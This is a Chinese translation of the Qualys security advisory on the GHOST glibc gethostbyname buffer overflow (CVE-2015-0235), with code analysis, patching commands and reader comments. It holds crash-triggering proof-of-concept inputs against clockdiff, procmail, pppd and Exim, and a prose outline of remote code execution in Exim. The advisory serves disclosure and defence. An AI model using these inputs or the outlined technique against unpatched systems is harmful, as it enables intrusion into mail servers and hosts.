CVE 2015-0235: GNU glibc gethostbyname 缓冲区溢出漏洞

from:http://www.openwall.com/lists/oss-security/2015/01/27/9，http://ma.ttias.be/critical-glibc-update-cve-2015-0235-gethostbyname-calls/

◆0 内容

1 - 摘要
2 - 分析
3 - 减少影响
4 - 案例分析
5 - 漏洞代码
6 - 致谢

◆1 摘要



Qualys公司在进行内部代码审核时，发现了一个在GNU C库(glibc)中存在的__nss_hostname_digits_dots函数导致的缓冲区溢出漏洞。这个bug可达可以通过gethostbyname *()函数来触发，本地和远程均可行。鉴于它的影响，我们决定仔细分析它。分析完成后，我们也决定以“幽灵”(GHOST)命名此漏洞。

我们的分析过程中得出的主要结论是：

- 通过gethostbyname()函数或gethostbyname2()函数，将可能产生一个堆上的缓冲区溢出。经由gethostbyname_r()或gethostbyname2_r()，则会触发调用者提供的缓冲区溢出(理论上说，调用者提供的缓冲区可位于堆，栈，.data节和.bss节等。但是，我们实际操作时还没有看到这样的情况)。 - 漏洞产生时至多sizeof(char* )个字节可被覆盖(注意是char*指针的大小，即32位系统上为4个字节，64位系统为8个字节)。但是payload中只有数字( '0 '...' 9') ，点( “.”) ，和一个终止空字符('' ) 可用。 - 尽管有这些限制，我们依然可以执行任意的代码。 我们开发了一套完整的针对Exim邮件服务器的攻击PoC，测试中发现可以绕过所有现有保护 ( ASLR,PIE和NX )。且可以通杀32位和64位的机器。而且，在不久的将来，我们还会发布一个Metasploit的模块。 - 据悉，GNU C库的第一个易受攻击版本是glibc-2.2 ，发布于2000年11月10日，相当有年头了。 - 据了解，是有一些方法可以减轻影响的。事实上，这个漏洞其实在2013年5月21日就已经被修复了(在glibc-2.17和glibc-2.18的发行版之间) 。不幸的是，当时它并没有被认为是一个安全威胁。其结果是，大多数稳定版和长期支持版本现在依然暴露在漏洞影响下，比如： Debian 7 (wheezy) ，红帽企业版Linux 6和7,CentOS 6和7 ，Ubuntu 12.04。

◆2 分析



存在漏洞的函数__nss_hostname_digits_dots()由glibc的非重入版本的文件：nss/getXXbyYY.c，以及重入版本：nss/getXXbyYY_r.c提供。然而，这个函数的调用是由#ifdef HANDLE_DIGITS_DOTS来定义的，这个宏定义只在这几个文件有：

- inet/gethstbynm.c
- inet/gethstbynm2.c
- inet/gethstbynm_r.c
- inet/gethstbynm2_r.c
- nscd/gethstbynm3_r.c

以上这些文件实现gethostbyname*()函数族，因此也只有它们会调用__nss_hostname_digits_dots()，并且可能触发它的缓冲区溢出。该函数的作用是：“如果主机名是IPv4/IPv6地址，就跳过费时的DNS查找”。

glibc-2.17的代码如下：

#!cpp 35 int 36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, 37 char **buffer, size_t *buffer_size, 38 size_t buflen, struct hostent **result, 39 enum nss_status *status, int af, int *h_errnop) 40 { .. 57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':') 58 { 59 const char *cp; 60 char *hostname; 61 typedef unsigned char host_addr_t[16]; 62 host_addr_t *host_addr; 63 typedef char *host_addr_list_t[2]; 64 host_addr_list_t *h_addr_ptrs; 65 char **h_alias_ptr; 66 size_t size_needed; .. 85 size_needed = (sizeof (*host_addr) 86 + sizeof (*h_addr_ptrs) + strlen (name) + 1); 87 88 if (buffer_size == NULL) 89 { 90 if (buflen < size_needed) 91 { .. 95 goto done; 96 } 97 } 98 else if (buffer_size != NULL && *buffer_size < size_needed) 99 {
100 char *new_buf;
101 *buffer_size = size_needed;
102 new_buf = (char *) realloc (*buffer, *buffer_size);
103
104 if (new_buf == NULL)
105 {
...
114 goto done;
115 }
116 *buffer = new_buf;
117 }
...
121 host_addr = (host_addr_t *) *buffer;
122 h_addr_ptrs = (host_addr_list_t *)
123 ((char *) host_addr + sizeof (*host_addr));
124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
126
127 if (isdigit (name[0]))
128 {
129 for (cp = name;; ++cp)
130 {
131 if (*cp == '')
132 {
133 int ok;
134
135 if (*--cp == '.')
136 break;
...
142 if (af == AF_INET)
143 ok = __inet_aton (name, (struct in_addr *) host_addr);
144 else
145 {
146 assert (af == AF_INET6);
147 ok = inet_pton (af, name, host_addr) > 0;
148 }
149 if (! ok)
150 {
...
154 goto done;
155 }
156
157 resbuf->h_name = strcpy (hostname, name);
...
194 goto done;
195 }
196
197 if (!isdigit (*cp) && *cp != '.')
198 break;
199 }
200 }
...

Ln 85-86计算所需的缓冲区大小size_needed来存储三个不同的实体： HOST_ADDR,h_addr_ptrs和name(hostname) 。Ln 88-117 确保缓冲区足够大：Ln 88-97对应于函数重入的情况，Ln 98-117为非重入的情况。

Ln 121-125处理存储四个不同实体的指针地址，HOST_ADDR,h_addr_ptrs,h_alias_ptr ，和hostname。 计算size_needed时，漏掉了一个sizeof( * h_alias_ptr ) - 也即一个char指针的大小。

因此， strcpy的( )所在的Ln157应该可以让我们写过缓冲区的末尾，至多(取决于函数strlen(name)和对齐) 4个字节 (32位)，或8个字节(64位)。有一个类似的strcpy()在Ln 200，但是这里没有缓冲区溢出：

#!cpp
236 size_needed = (sizeof (*host_addr)
237 + sizeof (*h_addr_ptrs) + strlen (name) + 1);
...
267 host_addr = (host_addr_t *) *buffer;
268 h_addr_ptrs = (host_addr_list_t *)
269 ((char *) host_addr + sizeof (*host_addr));
270 hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);
...
289 resbuf->h_name = strcpy (hostname, name);

为了在行157触发溢出，主机名参数必须符合下列要求：

- 它的第一个字符必须是数字(Ln 127) 。 - 它的最后一个字符不能是点 “.”(Ln 135 ) 。 - 它必须只包含数字和点(Ln 197 ) (我们称之为“数字和点”的要求) 。 - 它必须足够长以溢出缓冲区。例如，非重入的gethostbyname *()函数最开始就会通过调用malloc (1024)来分配自己的缓冲区 (申请 “1 KB”) 。 - 地址必须成功地解析为IPv4地址。该解析由INET_ATON()(Ln 143)完成 ，或作为inet_pton IPv6地址() (Ln 147) - 经过仔细分析这两个函数，我们可以进一步完善这一“ inet - aton”的要求：

inet_pton()中冒号":"是被禁止的，而且我们不可能将带数字和点的地址解析成IPv6地址 。因此，它是不可能达到的溢出地点的，也即以参数为AF_INET6调用gethostbyname2()或gethostbyname2_r()函数族。

结论： inet_aton()是唯一的选择，并且主机名必须具有下列形式之一： “a.b.c.d”,“a.b.c”， “a.b” ，或“a” ，其中a，b ，c，d ，必须是无符号整数，最多0xfffffffful ，可以由strtoul()成功转换为十进制或者八进制(即没有整数溢出)(但不能是十六进制，因为'x'和'X'是被禁止的) 。

◆3 减轻影响的因素

这个bug的影响现在显著减少了，原因是：

[*]补丁已经存在(因为2013年5月21日)，并在2013年8月12日发布的glibc-2.18中被应用和测试：



[BZ＃15014](更新日志)
* nss/getXXbyYY_r.c(INTERNAL(REENTRANT_NAME))[HANDLE_DIGITS_DOTS]：当数字-点解析成功时设置any_service。
* nss/digits_dots.c(__nss_hostname_digits_dots)：为IPv6地址解析时，删除多余的变量声明和缓冲的重新分配。可重入函数调用时，总是需要设置NSS状态。当缓冲区太小时使用NETDB_INTERNAL而不是TRY_AGAIN。正确计算了所需大小。
* nss/Makefile (tests)：加入 test-digits-dots。
* nss/test-digits-dots.c：新测试文件。


[*]gethostbyname*()函数是过时的;随着IPv6的到来，新的应用程序应该使用getaddrinfo()来代替。

[*]许多程序，特别是SUID文件可本地访问时，当且仅当之前调用inet_aton()失败时，会使用gethostbyname()。但是，就算到这里了，后续其他调用也必须成功，这样才能走到溢出的地方(“inet-aton”规定)：但是这是不可能的，所以用这样的方案的程序是安全的。

[*]大多数其他的程序，尤其是可远程访问的服务器，会使用gethostbyname()来执行反查DNS(FCrDNS，也被称为full-circle reverse DNS)。这些程序通常是安全的，因为传递到的gethostbyname()的主机名通常都已经被DNS软件预先检查了：

(RFC 1123)“每个label最多有63个8位数字，由点分隔，最多总计有255个八进制数字”。这使得它不可能满足“1 KB”要求。

事实上，glibc的的DNS解析器可以产生高达(最多)1025字符的主机名(如bit-string标签，特殊的或非打印的字符)。但这会引入反斜杠('')，这样也会使得它不可能满足“只有数字和点”的要求。

◆4 案例分析



在本节中，我们将分析真实的调用gethostbyname*()函数的例子，但我们首先介绍一个小测试程序，检查系统是否脆弱：

#!cpp
[user@...ora-19 ~]$ cat > GHOST.c family = AF_UNSPEC; ... if (__inet_aton (name, (struct in_addr *) at->addr) != 0) { if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET) at->family = AF_INET; else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED)) { ... at->family = AF_INET6; } else return -EAI_ADDRFAMILY; ... } ... if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0) { ... size_t tmpbuflen = 512; char *tmpbuf = alloca (tmpbuflen); ... rc = __gethostbyname2_r (name, family, &th, tmpbuf, tmpbuflen, &h, &herrno); ... }

4.2 - mount.nfs


类似的，mount.nfs 也没有漏洞：

#!cpp if (inet_aton(hostname, &addr->sin_addr)) return 0; if ((hp = gethostbyname(hostname)) == NULL) { nfs_error(_("%s: can't get address for %sn"), progname, hostname); return -1; }

4.3 - mtr


mtr也没有漏洞，因为它调用了getaddrinfo()而不是gethostbyname*()。

#!cpp
#ifdef ENABLE_IPV6 /* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */ ... error = getaddrinfo( Hostname, NULL, &hints, &res ); if ( error ) { if (error == EAI_SYSTEM) perror ("Failed to resolve host"); else fprintf (stderr, "Failed to resolve host: %sn", gai_strerror(error)); exit( EXIT_FAILURE ); } ...
#else host = gethostbyname(Hostname); if (host == NULL) { herror("mtr gethostbyname"); exit(1); } ...
#endif

4.4 - iputils


4.4.1 - clockdiff


clockdiff则有漏洞风险，因为：

#!cpp hp = gethostbyname(argv[1]); if (hp == NULL) { fprintf(stderr, "clockdiff: %s: host not foundn", argv[1]); exit(1); }
#!cpp
[user@...ora-19-32b ~]$ ls -l /usr/sbin/clockdiff
-rwxr-xr-x. 1 root root 15076 Feb 1 2013 /usr/sbin/clockdiff
[user@...ora-19-32b ~]$ getcap /usr/sbin/clockdiff
/usr/sbin/clockdiff = cap_net_raw+ep
[user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`
.Segmentation fault
[user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`
Segmentation fault
[user@...ora-19-32b ~]$ dmesg
...
[202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000]
[202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000]

图片：20150128052237518404.4.1.jpg

4.4.2 - ping and arping


ping 、arping 在inet_aton()失败时调用 gethostbyname() 和 gethostbyname2()。此时，还会有另一个函数被调用 (例如Fedora,定义了USE_IDN):

4.4.2.1 - ping

#!cpp if (inet_aton(target, &whereto.sin_addr) == 1) { ... } else { char *idn; #ifdef USE_IDN int rc; ... rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "ping: IDN encoding failed: %sn", idna_strerror(rc)); exit(2); } #else idn = target; #endif hp = gethostbyname(idn);

4.4.2.2 - arping

#!cpp if (inet_aton(target, &dst) != 1) { struct hostent *hp; char *idn = target; #ifdef USE_IDN int rc; rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "arping: IDN encoding failed: %sn", idna_strerror(rc)); exit(2); } #endif hp = gethostbyname2(idn, AF_INET);

4.4.2.3 - 分析


如果idna_to_ascii_lz()修改了目标主机名，第一个调用INET_ATON()可能失败，第二次调用(gethostbyname()内部调用)能成功。例如，idna_to_ascii_lz()把任何Unicode点状的字符(0x3002，0xFF0E，0xFF61)转换为ASCII的句点(“.”)。

但是，这也限制了域标签63个字符的长度：这使得它只有4个label和3个点(“INET-ATON”的规定)，因此不可能达到1024字节(“1KB”的要求)。

除非INET_ATON()(实际上，是strtoul())可以被欺骗接受超过3个点？事实上，idna_to_ascii_lz()不总限制 域名的长度。 glibc的支持“千”分组字符(man 3 printf);例如，sscanf(str，"%'lu"，&ul)处理1000时，会得到下列输入字符串：

[*]“1,000”，英语语言环境;
[*]“1 000”，法语语言环境;
[*]“1.000”，德语或西班牙语语言环境。

strtoul()也一样实现了这个“数字分组”，但它仅限glibc的内部函数使用。结论：要构造3个“.”以上是不可能的，所以ping, arping是没问题的。

4.5 - procmail


procmail 的“comsat/biff”特性有漏洞：

#!cpp
#define COMSAThost "localhost" /* where the biff/comsat daemon lives */
...
#define SERV_ADDRsep '@' /* when overriding in COMSAT=serv@...r */
int setcomsat(chp)const char*chp;
{ char*chad; ... chad=strchr(chp,SERV_ADDRsep); /* @ separator? */ ... if(chad) *chad++=''; /* split the specifier */ if(!chad||!*chad) /* no host */
#ifndef IP_localhost /* Is "localhost" preresolved? */ chad=COMSAThost; /* nope, use default */
#else /* IP_localhost */ { ... } else
#endif /* IP_localhost */ { ... if(!(host=gethostbyname(chad))||!host->h_0addr_list)
user@...ian-7-2-32b:~$ ls -l /usr/bin/procmail
-rwsr-sr-x 1 root mail 83912 Jun 6 2012 /usr/bin/procmail
user@...ian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null
...
*** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): ◆980de30 ***
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d]
/usr/bin/procmail[0x80548ec]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]
/usr/bin/procmail[0x804bb55]
======= Memory map: ========
...
0980a000-0982b000 rw-p 00000000 00:00 0 [heap]
...
Aborted
user@...ian-7-2-32b:~$ _COMSAT_='COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"`
user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/null
Segmentation fault
user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null
Segmentation fault
user@...ian-7-2-32b:~$ dmesg
...
[211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000]
[211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000]

4.6 - pppd


当之前调用inet_addr()失败时(这个函数只是简单的包装了一下inet_aton())，pppd会调用gethostbyname()。inet_addr()会把将Internet主机地址从IPv4的数字-点格式转换为网络传输用的热浸制模式。当输入无效的时候，返回INADDR_NONE(通常是 -1).使用这个函数会导致一个问题，是因为-1是一个有效的地址(255.255.255.255)。inet_addr()失败了，但inet_aton()却成功了，因此会是一个导致溢出的点。

#!cpp
user@...ntu-12-04-32b:~$ ls -l /usr/sbin/pppd
-rwsr-xr-- 1 root dip 273272 Feb 3 2011 /usr/sbin/pppd
user@...ntu-12-04-32b:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

4.6.1 ms-dns option

#!cpp
static int
setdnsaddr(argv) char **argv;
{ u_int32_t dns; struct hostent *hp; dns = inet_addr(*argv); if (dns == (u_int32_t) -1) { if ((hp = gethostbyname(*argv)) == NULL) { option_error("invalid address parameter '%s' for ms-dns option", *argv); return 0; } dns = *(u_int32_t *)hp->h_addr; }
user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): ◆9c0f928 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2]
/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5]
/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb]
/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
/usr/sbin/pppd(main+0x1cf)[0x8050b2f]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]
======= Memory map: ========
...
09c0c000-09c2d000 rw-p 00000000 00:00 0 [heap]
...
Aborted (core dumped)

图片：20150128052237518404.4.1.jpg

4.6.2 - ms-wins optio

#!cpp
static int
setwinsaddr(argv) char **argv;
{ u_int32_t wins; struct hostent *hp; wins = inet_addr(*argv); if (wins == (u_int32_t) -1) { if ((hp = gethostbyname(*argv)) == NULL) { option_error("invalid address parameter '%s' for ms-wins option", *argv); return 0; } wins = *(u_int32_t *)hp->h_addr; }
user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): ◆8a64928 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2]
/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5]
/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb]
/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
/usr/sbin/pppd(main+0x1cf)[0x8050b2f]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]
======= Memory map: ========
...
08a61000-08a82000 rw-p 00000000 00:00 0 [heap]
...
Aborted (core dumped)

图片：20150128052237518404.4.1.jpg

4.6.3 - socket option

#!cpp
static int
open_socket(dest) char *dest;
{ char *sep, *endp = NULL; int sock, port = -1; u_int32_t host; struct hostent *hent; ... sep = strchr(dest, ':'); if (sep != NULL) port = strtol(sep+1, &endp, 10); if (port < 0 || endp == sep+1 || sep == dest) { error("Can't parse host:port for socket destination"); return -1; } *sep = 0; host = inet_addr(dest); if (host == (u_int32_t) -1) { hent = gethostbyname(dest); if (hent == NULL) { error("%s: unknown host in socket option", dest); *sep = ':'; return -1; } host = *(u_int32_t *)(hent->h_addr_list[0]); }
user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1'
user@...ntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: ◆9cce270 ***

4.7 - Exim


如果配置了检查HELO和EHLO的额外检查，Exim邮件服务器可远程触发该漏洞。(“helo_verify_hosts”或者"helo_try_verify_hosts"或者“verify=helo” ACL项目)。我们开发了一个可以稳定执行的漏洞，可以绕过所有已知的保护(ASLR, PIE, NX)，可在32/64位系统触发。

#!cpp
user@...ian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verify
helo_verify_hosts = *
user@...ian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))"
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
user@...ian-7-7-64b:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 debian-7-7-64b ESMTP Exim 4.80 ...
HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Connection closed by foreign host.
user@...ian-7-7-64b:~$ dmesg
...
[ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]

图片：20150128052237518404.4.1.jpg

◆5 Exploitation



5.1 - Code execution


在本节中，我们将介绍如何对Exim SMTP邮件服务器实现远程执行代码，绕过NX保护和glibc的malloc强化。

首先，我们溢出的gethostbyname的基于堆的缓冲区，以及部分覆盖下一个相邻空闲块的大小字段，使之具有稍微更大的尺寸(我们只覆盖3字节的大小;因为，我们不能在32位溢出超过4个字节，或64位机器上8个字节)：

#!cpp |< malloc_chunk |
-----|----------------------|---+--------------------|----- ... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...
-----|----------------------|---+--------------------|----- | X| |------------------------->| overflow
#!cpp
struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize;
};

X标记了内存损坏发生的位置。

其结果是，该glibc的malloc管理的空闲块被人工增大，导致内存与另一块Exim 的current_block重叠。而current_block是由Exim的的内部内存分配器管理的。

#!cpp |< malloc_chunk |< storeblock | |
-----|----------------------|------------------------|---------------+---|----- ... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ...
-----|----------------------|------------------------|---------------+---|----- | | || artificially enlarged free chunk
#!cpp
typedef struct storeblock { struct storeblock *next; size_t length;
} storeblock;

然后，我们部分地分配已经释放的空闲块，然后使用任意数据覆盖Exim的current_block的起始部分(“storeblock”结构)。特别是，我们需要覆盖其“next”字段：

#!cpp |< malloc_chunk |< storeblock | |
-----|----------------------|------------------------|--------+----------|----- ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ...
-----|----------------------|------------------------|--------+----------|----- | X | ||

这有效地把gethostbyname的缓冲区溢出变成随便往哪儿写东西的问题，因为我们控制了两个指针：Exim分配器会返回的下一块内存块(被劫持“next”指针)和分配的数据(null终止字符串，我们发送Exim的SMTP命令的参数)。

最后，我们用这个随意写的漏洞来覆盖Exim的运行时配置，这个配置是存在堆中的。确切地说，我们覆盖Exim的访问控制列表(ACL)，并实现任意代码执行。这要感谢Exim的 "${run{ }}" 字符串扩展机制。

#!cpp |< storeblock |
-----|-------------------------------|---------------|-------------------|----- ... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ...
-----|----x--------------------------|---------------|x------------------|----- | | '| overflow

人工扩大的这篇内存会覆盖另一块内存，也即Exim保存错误信息“503 sender not yet given rn”的地方。

#!cpp |< malloc_chunk |
-----|----------------------|-----------------------------|----------+----|----- ... | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | ...
-----|----------------------|-----------------------------|----------+----|----- | | || artificially enlarged free chunk

然后，我们分配这个大小已经被修改的空闲块，由此将它分为两份：新分配块和一个小一些的空闲块(分割之后余下的部分)。剩余的空闲块malloc_chunk header部分用指向堆的指针(fd_nextsize指针)覆盖保存错误信息的内存的最开始几个字节。

#!cpp |< malloc_chunk |< malloc_chunk | |
-----|----------------------|---------------------+-------|----------+----|----- ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | ...
-----|----------------------|---------------------+-------|----------+----|----- | | X | ||| allocated chunk free chunk

最后，我们发送一个无效的SMTP指令，然后从Exim SMTP的响应信息中获取fd_nextsize堆指针，当然也包含损坏的错误信息。浙将有效的把gethostbyname的缓冲区溢出转换为信息泄露。还有，他也可以让我们区分服务器是32还是64位的机器。

◆6 致谢



我们要感谢OpenWall项目的Alexander Peslyak帮助以发现披露这个漏洞。

◆7 修复 CVE-2015-0235



就像最近的OpenSSL心脏滴血漏洞，这个问题要修复起来也很烦人。更新是在glibc包中，但是这个库会被很多运行中的服务使用。在更新之后，每个服务都要重启一下。

要找到所有依赖glibc的服务，请使用如下命令，它会显示所有打开的文件(lsof)，然后找到引用glibc库的文件。

#!bash
$ lsof | grep libc | awk '{print $1}' | sort | uniq

RHEL/CentOS目前没有补丁，红帽发布了CVE信息(https://access.redhat.com/security/cve/CVE-2015-0235)，你可以在这个页面跟踪一下修复进度。

CentOS也正在处理这个事情，处理完之后会发布到它的镜像上。

Debian和Ubuntu已经有更新了，你可以直接更新它们。

当你使用的发行版有更新的时候请立即更新。

CentOS, Red Hat, Fedora, Scientific Linux, ...:

#!bash
$ yum clean all && yum update

Debian, Ubuntu 和其他的派生产品:

#!bash
$ apt-get clean && apt-get update && apt-get upgrade

最后，重启所有你上面用lsof找到的服务。当然最简单的是直接重启你的服务器，因为实在有很多东西依赖glibc，绕过你无法重启服务器，至少把面向公共的重要服务比如web服务器，mail服务器重启。

直到所有的发行版都打上补丁之前，这个漏洞就是一个等待游戏。直到那时为止，DNS都是一个潜在的安全隐患。

◆8 可能的攻击手段



服务器上gethostbyname() 应该是用的最多的了。许多DNS解析服务都可能会和这个CVE有关，唯一一点是，你需要控制DNS解析的东西才行。

这意味着可能有这些：

·邮件服务器连接IP时，使用的DNS反查(DNS黑名单，SPF检查等等)
·表单提交时，绕过允许用户内容导致一个DNS查询时，比如URL，WordPress的XML-RPC pingback等
·MySQL服务器做基于主机名的认证检查时(以MySQL权限)
·SSH服务器对允许/拒绝规则认证时，使用DNS查询的
·其他

【任何】DNS查询都可能会触发这个漏洞，唯一一个“好事”是漏洞并不会立刻造成提权，你可能还是以同一个用户身份执行命令，但是肯定有其他的各种各样的提权方式。非高权限用户依然可以用你的服务器做DDoS攻击等等。
 
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  chopper 2015-02-04 14:30:54
 请问离线的升级包要去哪里下载，对应各版本
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  Jerry 2015-02-03 11:22:15
 检测脚本换成
lsof +c 15 | grep libc- | awk '{print $1}' | sort -u
更好些
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  hist 2015-02-01 12:52:35
 谢谢，这样看来触发的几率还是很小的
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  admin 2015-01-31 09:26:26
 个人理解, 可以发送一些数据到Exim， 而Exim刚好会将数据写入这个buffer.
这个漏洞最多overflow 指针大小的字节数，所以需要特别的application执行特殊的code path才能被触发，就索性Exim.
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  hist 2015-01-30 18:31:54
 在第5部分演示exploit Exim时，怎么实现把后面那被篡改过的free block里填上任意数据的呢？
也就是这句话
Then, we partially allocate the enlarged free chunk and overwrite the
beginning of Exim's current_block of memory (the "storeblock" structure)
with arbitrary data.
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  ecawen 2015-01-30 14:40:03
 呀，不怎么来乌云不会发贴，原来楼上早回复你了，不是你引用他的话...
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  ecawen 2015-01-30 14:38:12
 函数是否可重入相当于是否允许多个人同时用一个函数而各人看起来相互独立。可重入和不可重入在内存分配、数据结构等使用是有区别的，所以虽然上面Ln 88-97和Ln 98-117在哪我没看不知道但肯定是对应这两种情况。
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  NoFirewall 2015-01-29 14:29:04
 CentOS 7 有修复方案了没？
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  Fireweed 2015-01-28 19:20:26
 一大血案
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  blast 2015-01-28 16:55:39
 不方便重启服务器的话可以先把一些重要的暴露在Internet上的服务重启一下~这是原作者的建议
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  doommmmmmmmmmmmmmmmmmmmmmmmmmmmm 2015-01-28 15:07:25
 太多服务依赖了 真要重启服务器？
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  blast 2015-01-28 15:02:56
 个人拙见 __nss_hostname_digits_dots 被设计成了可重入和不可重入式代码均可使用的函数，可重入函数调用时是不能使用alloc的，所以只能走88-97的流程，非重入函数使用alloc是没问题的，走的是98-117
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  dream 2015-01-28 14:42:54
 真快啊！
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  mickey 2015-01-28 14:31:32
 Ln 88-97对应于函数重入的情况，Ln 98-117为非重入的情况。
---这句话是什么意思？不懂
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  doommmmmmmmmmmmmmmmmmmmmmmmmmmmm 2015-01-28 13:51:16
 CVE 2015-0235吧
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blast